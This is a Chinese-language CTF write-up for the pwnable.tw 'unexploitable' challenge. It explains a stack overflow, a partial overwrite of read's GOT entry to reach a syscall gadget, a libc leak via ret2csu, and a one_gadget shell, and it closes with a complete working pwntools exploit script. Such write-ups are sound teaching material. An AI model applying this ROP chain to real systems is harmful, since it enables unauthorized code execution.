unexploitable

程序分析

利用ida打开程序会发现如下的情况:

截屏2020-10-23 下午3.18.40

主函数有个read函数有个溢出,看了程序的got表发现程序只有read函数并没有输出。

截屏2020-10-23 下午3.18.47

利用思路

考虑修改got表的中read地址的低字节,使它指向一个syscall地址。

我们先read在libc中的偏移是0xf6670,然后用ropper搜索libc中的syscall:截屏2020-10-23 下午3.27.34

可以找到两个和read只有最低一字节不同的syscall的地址,这里我们选用0xf667e来进行利用。

我们有read函数因此可以从里面向内存中写入数据。用ROPgadget搜索其中的结果截屏2020-10-23 下午3.30.55

没有可以利用的rop地址,由于不知道libc的基址因此没办法在libc中寻找rop,此时就考虑利用csu_init。截屏2020-10-23 下午3.33.52

通过csu_init我们可以设置rdi,rsi,rdx的值,并且可以跳转到指定函数。

下面就是具体的利用思路了:

  1. 现修改got表中read的最后一个字节为0x7e,使之指向syscall
  2. 由于上一步中只读了一个字节rax返回1,所以记下来再次调用got[‘read’]就会系统调用write。利用此将got表中的地址显示,泄漏出libc的地址
  3. 返回main函数,由于main函数调用read时rax会清0,所以现在当got表中的read指向syscall时也会系统调用read。这样覆盖栈的返回地址为onegadget就能获得shell(注意由于我选onegadget需要rsp+30为0,所以栈溢出的时候多向写写几个0使其满足条件)

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
'''
0x00000000000f667e: syscall; cmp rax, -0xfff; jae 0xf66b9; ret;
'0xf6670'
通过read构造rax
'''
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./unexploitable')
p = remote('chall.pwnable.tw',10403)
# p = process('./unexploitable')
# cmd = 'b *0x4005D9\n'
# cmd += 'b *0x400571\n'
# gdb.attach(p, cmd)
# pause()

csu1 = 0x4005E6
csu2 = 0x4005D0
main = 0x400544
rg = elf.got['read']
print(hex(rg))
payload = (0x10+8)*b'a'+p64(csu1)

payload += b'a'*8 + \
p64(0)+p64(1) + p64(elf.got['read'])+p64(0) + \
p64(elf.got['read'])+p64(0x1)+p64(csu2)

# write
payload += b'a'*8 + \
p64(0)+p64(1)+p64(elf.got['read'])+p64(1) + \
p64(elf.got['read'])+p64(0x20)+p64(csu2)

# back to read
payload += b'a'*0x38+p64(main)
p.send(payload.ljust(0x100,b'\x00'))

pause()
p.send(b'\x7e')
libc = u64(p.recvn(8))-0xf667e
print('libc',hex(libc))
pause()


payload = 0x18*b'a'+p64(libc+0x4526a)
p.send(payload.ljust(0x100,b'\0'))


p.interactive()